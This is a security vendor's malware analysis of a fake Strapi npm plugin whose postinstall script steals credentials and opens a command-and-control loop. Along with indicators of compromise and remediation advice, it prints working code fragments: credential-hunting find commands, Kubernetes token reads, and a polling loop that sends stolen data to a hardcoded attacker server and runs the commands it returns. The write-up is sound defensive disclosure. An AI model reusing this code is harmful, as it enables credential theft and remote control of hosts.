Malicious npm Package strapi-plugin-events Deploys Full C2 Agent
Table of Contents
TL;DR
[email protected] is a malicious npm package disguised as a Strapi CMS plugin. On install, it runs a postinstall script that executes an 11-phase attack: stealing .env files, environment variables, Strapi configuration, private keys, Redis data, Docker/Kubernetes secrets, and network topology. It then opens a polling C2 loop that accepts and executes arbitrary shell commands from a remote server.
Impact:
- Exfiltrates all
.envfiles and environment variables (database credentials, API keys, JWT secrets) - Reads and sends Strapi configuration files (
database.js,server.js,plugins.js) - Dumps all Redis keys from local instances
- Steals private keys (
.pem,.key,id_rsa), wallet files, and Docker/Kubernetes secrets - Opens a 5-minute command-and-control session allowing the attacker to execute arbitrary commands
Indicators of Compromise (IoC):
- Package:
[email protected]on npm - C2 server:
144[.]31[.]107[.]231:9999(plain HTTP) - C2 path pattern:
/c2/<random-id>/beacon,/c2/<random-id>/poll, etc. find /commands searching for.env*,.pem,.key,id_rsa*,wallet*files- Raw TCP connection to
127.0.0.1:6379(Redis)
Analysis
Package Overview
The package was published on April 3, 2026 by umarbek1233 <[email protected]>. It has a single version (3.6.8), contains only three files, and has no description, repository, or homepage. The version number 3.6.8 is chosen to appear as a mature Strapi v3 community plugin, following the naming convention used by legitimate packages like strapi-plugin-comments or strapi-plugin-upload. All official Strapi plugins are scoped under @strapi/, making this unscoped name a social engineering choice targeting developers searching for community plugins.
The package.json is minimal:
{ "name": "strapi-plugin-events", "version": "3.6.8", "main": "index.js", "scripts": { "postinstall": "node postinstall.js" }, "license": "MIT"}The index.js exports an empty function, contributing nothing to any application:
module.exports = () => {};The entire payload lives in postinstall.js.
Execution Trigger
The attack executes immediately on npm install via the postinstall script. No user interaction or require() call is needed. The postinstall script runs with the privileges of the installing user, which in CI/CD environments and Docker containers often means root access.
Malicious Payload
The postinstall.js file implements a structured, multi-phase attack. It first sets up a C2 communication channel, then systematically harvests credentials and secrets, and finally opens a command execution loop.
C2 infrastructure setup. The script establishes communication with a hardcoded server:
var http = require('http');var exec = require('child_process').execSync;var fs = require('fs');var VPS = '144.31.107.231';var PORT = 9999;var ID = 'guard-' + Math.random().toString(36).slice(2, 8);Each infected host generates a random session ID (e.g., guard-k7f2m9) used to namespace all C2 communications. The post() helper sends data via plain HTTP POST to the C2 server with a 15-second timeout.
Phase 1: Beacon. The script sends system reconnaissance data to /c2/<id>/beacon:
var info = { id: ID, hostname: run('hostname').trim(), whoami: run('whoami').trim(), pwd: process.cwd(), uname: run('uname -a').trim(), ip: run('hostname -I 2>/dev/null || echo n/a').trim(), node: process.version,};await post('/c2/' + ID + '/beacon', info);This gives the attacker an immediate inventory of the compromised host: username, hostname, kernel version, internal IP, and Node.js version.
Phase 2: .env file theft. The script reads .env files from hardcoded paths targeting common Strapi deployment layouts:
var envPaths = [ '/app/.env', '/app/.env.production', '/app/.env.local', '/data/.env', '/home/strapi/.env', '/home/node/.env', '/opt/app/.env', '/srv/.env', process.cwd() + '/../.env', process.cwd() + '/../../.env', process.cwd() + '/../../../.env',];The paths /app/.env, /home/strapi/.env, and /home/node/.env target Docker containers running Strapi with common base images. The relative path traversals (../../.env) walk up from the node_modules install directory to reach the project root.
Phase 3: Environment variable dump. The script runs env via shell to capture every environment variable, including database connection strings, cloud provider credentials, and JWT secrets that Strapi applications commonly configure through environment variables.
var envDump = run('env');await post('/c2/' + ID + '/envdump', envDump.slice(0, 100000));Phase 4: Strapi configuration files. The script specifically targets Strapi’s configuration directory structure:
var configs = [ '/app/config/database.js', '/app/config/server.js', '/app/config/plugins.js', '/app/config/middleware.js', '/app/config/functions/bootstrap.js', '/app/config/environments/production/database.json', '/app/package.json', '/app/yarn.lock',];These files contain database connection details, API keys for third-party plugins, and the application’s dependency tree.
Phase 5: Filesystem-wide .env discovery. The script uses find to locate every .env file on the system, up to 5 directories deep:
var allEnv = run("find / -maxdepth 5 -name '.env*' -type f 2>/dev/null");await post('/c2/' + ID + '/allenv', allEnv);This is the behavior flagged by our dynamic analysis system. It catches .env files in non-standard locations that the hardcoded paths in Phase 2 would miss.
Phase 6: Redis data dump. The script opens a raw TCP connection to the local Redis instance and dumps all keys:
var net = require('net');var c = new net.Socket();c.connect(6379, '127.0.0.1', function () { c.write('INFO server\r\nDBSIZE\r\nKEYS *\r\n');});Strapi deployments commonly use Redis for caching and session storage. This dumps server info, database size, and every key name, which can include session tokens and cached API responses.
Phase 7: Network reconnaissance. The script collects network topology information:
var internal = run( 'cat /etc/hosts 2>/dev/null; echo ---RESOLV---; cat /etc/resolv.conf 2>/dev/null; echo ---ARP---; arp -a 2>/dev/null; echo ---ROUTE---; ip route 2>/dev/null');This maps the internal network for lateral movement: DNS resolvers, ARP neighbors, and routing tables reveal other services and hosts reachable from the compromised container.
Phase 8: Docker and Kubernetes secrets. The script attempts to read container orchestration secrets:
var docker = run( 'ls -la /var/run/docker.sock 2>/dev/null; echo ---; cat /run/secrets/* 2>/dev/null; echo ---DOCKERENV---; cat /.dockerenv 2>/dev/null; echo ---KUBE---; ls -la /var/run/secrets/kubernetes.io/ 2>/dev/null; cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null');If the Docker socket is accessible, the attacker can control the host’s Docker daemon. The Kubernetes service account token enables API access to the cluster, potentially allowing privilege escalation beyond the compromised pod.
Phase 9: Private key and wallet theft. The script uses find to locate cryptographic keys and cryptocurrency wallet files:
var keys = run( "find / -maxdepth 4 \\( -name '*.pem' -o -name '*.key' -o -name 'id_rsa*' -o -name 'wallet*' -o -name '*private*' -o -name '*secret*' \\) ! -path '*/ssl/certs/*' ! -path '*/node_modules/*' -type f 2>/dev/null");It then reads up to 10 of the discovered files and sends their contents to the C2 server. This captures TLS private keys, SSH keys, and any files with “private” or “secret” in their name.
Phase 10: Strapi database access attempt. The script attempts to load the application’s knex database driver and configuration:
var dbQuery = run( "node -e \"const k=require('/app/node_modules/knex');const c=require('/app/config/database.js');\" 2>&1");Phase 11: Polling C2 loop. The final phase establishes a persistent command-and-control channel. The script polls the C2 server every 5 seconds for 60 rounds (approximately 5 minutes), executing any command the server returns:
for (var round = 0; round < 60; round++) { var cmdResp = await post('/c2/' + ID + '/poll', JSON.stringify({ round: round })); if (cmdResp && cmdResp.trim() && cmdResp.trim() !== 'nop' && cmdResp.trim() !== 'ok') { var result = run(cmdResp.trim()); await post( '/c2/' + ID + '/result', JSON.stringify({ round: round, cmd: cmdResp.trim(), out: result.slice(0, 100000) }) ); } await new Promise(function (r) { setTimeout(r, 5000); });}This gives the attacker interactive shell access to the compromised host. The server responds with nop or ok when idle, and with a shell command when active. Results are sent back to /c2/<id>/result. Using execSync means each command runs with the full privileges of the Node.js process.
Data Exfiltration
All stolen data is sent via plain HTTP POST to 144[.]31[.]107[.]231:9999. The C2 protocol uses path-based routing:
| Path | Data |
|---|---|
/c2/<id>/beacon | System info (hostname, user, IP, kernel) |
/c2/<id>/env | Individual .env file contents |
/c2/<id>/envdump | Full env output |
/c2/<id>/config | Strapi configuration files |
/c2/<id>/allenv | List of all .env files on disk |
/c2/<id>/sortedenv | Sorted environment variables |
/c2/<id>/redis-full | Redis server info and all keys |
/c2/<id>/network | /etc/hosts, resolv.conf, ARP, routes |
/c2/<id>/docker | Docker socket, secrets, K8s tokens |
/c2/<id>/keys | List of private key files found |
/c2/<id>/keyfile | Contents of individual key files |
/c2/<id>/result | Output of C2 commands |
No encryption is used. All data, including private keys and credentials, is transmitted in plaintext over HTTP.
Dynamic Analysis
Our Dynamic Analysis pipeline flagged two signals: Stage-9 secret gathering via a find command and Stage-11 C2 communication.
The following command was captured:
find / -maxdepth 4 ( -name *.pem -o -name *.key -o -name id_rsa* -o -name wallet* -o -name *private* -o -name *secret* ) ! -path */ssl/certs/* ! -path */node_modules/* -type fThe following are the outbound network connections recorded:
| id | created_at | analysis_id | ip_address | port | |
|---|---|---|---|---|---|
| 1 | 134189554 | April 3, 2026, 4:00 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 2 | 134189535 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 3 | 134189498 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 4 | 134189441 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 5 | 134189440 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 6 | 134189391 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 7 | 134189363 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 8 | 134189322 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 9 | 134189297 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 10 | 134189268 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 11 | 134189237 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 12 | 134189224 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 13 | 134189223 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 14 | 134189222 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 15 | 134189207 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 16 | 134189206 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 17 | 134189205 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 18 | 134189190 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 19 | 134189183 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 20 | 134189170 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 21 | 134189169 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 22 | 134189168 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 23 | 134189167 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 24 | 134189166 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 144.31.107.231 | 9999 |
| 25 | 134189165 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.2.34 | 443 |
| 26 | 134189164 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.2.34 | 443 |
| 27 | 134189163 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.6.34 | 0 |
| 28 | 134189162 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.4.34 | 0 |
| 29 | 134189161 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.0.34 | 0 |
| 30 | 134189160 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.11.34 | 0 |
| 31 | 134189159 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.3.34 | 0 |
| 32 | 134189158 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.10.34 | 0 |
| 33 | 134189157 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.7.34 | 0 |
| 34 | 134189156 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.9.34 | 0 |
| 35 | 134189155 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.8.34 | 0 |
| 36 | 134189154 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.1.34 | 0 |
| 37 | 134189153 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.5.34 | 0 |
| 38 | 134189152 | April 3, 2026, 3:59 AM | 01KN8QBD8NSYX5BHWQZR1Y94SW | 104.16.2.34 | 0 |
The sandbox recorded 24 outbound connections to 144.31.107.231:9999 — the hardcoded C2 server — spanning the full postinstall execution window (beacon through polling loop). The 104.16.x.34 entries are Cloudflare IPs contacted during npm package resolution.
Notable Characteristics
The attack is specifically engineered for Strapi CMS deployments:
- File paths target Strapi’s configuration directory layout (
/app/config/database.js,/app/config/plugins.js) - Environment variable paths target common Strapi Docker image conventions (
/home/strapi/.env,/app/.env) - Redis dump targets the default local instance commonly used as Strapi’s cache backend
- The package name follows the Strapi v3 community plugin naming convention (
strapi-plugin-*)
The code skips Windows hosts (if (process.platform === 'win32') return), focusing exclusively on Linux servers and containers where Strapi is typically deployed in production.
No obfuscation is used. The source code is readable JavaScript, suggesting the attacker prioritized speed of development over stealth.
Conclusion
[email protected] is a purpose-built attack targeting Strapi CMS deployments. It combines broad credential harvesting with a polling C2 loop for interactive access. The plaintext HTTP communication and lack of obfuscation suggest an opportunistic attacker, but the Strapi-specific targeting (config paths, Docker conventions, Redis access) indicates familiarity with the platform’s deployment patterns.
If you installed this package, rotate all credentials accessible from the affected host, including database passwords, API keys, JWT secrets, and any private keys found on the filesystem. Revoke any Kubernetes service account tokens that may have been exposed.
Use tools like vet to scan your dependency tree for malicious packages before they reach production, and pmg to block malicious packages at install time.
References
- strapi-plugin-events on npm (may be taken down)
- Strapi CMS
- vet
- malware
- supply-chain-security
- npm
- credential-theft
- c2
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

prt-scan: A 5-Phase GitHub Actions Credential Theft Campaign
A throwaway GitHub account submitted 219+ malicious pull requests in a single day, each carrying a 352-line payload that steals CI secrets, injects workflows, bypasses label gates, and scans /proc...

Malicious npm Package express-session-js Drops Full RAT Payload
A malicious npm package typosquatting express-session fetches and executes a full Remote Access Trojan from a paste service, targeting browser credentials, crypto wallets, SSH keys, and more.

Compromised npm Package mgc Deploys Multi-Platform RAT
The npm package mgc was compromised via account takeover, with four malicious versions published in rapid succession deploying a full Remote Access Trojan targeting macOS, Windows, and Linux.

axios Compromised: npm Supply Chain Attack via Dependency Injection
axios 1.14.1 was published to npm via a compromised maintainer account, injecting a trojanized dependency that executes a multi-platform reverse shell on install. No source code changes in axios...

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
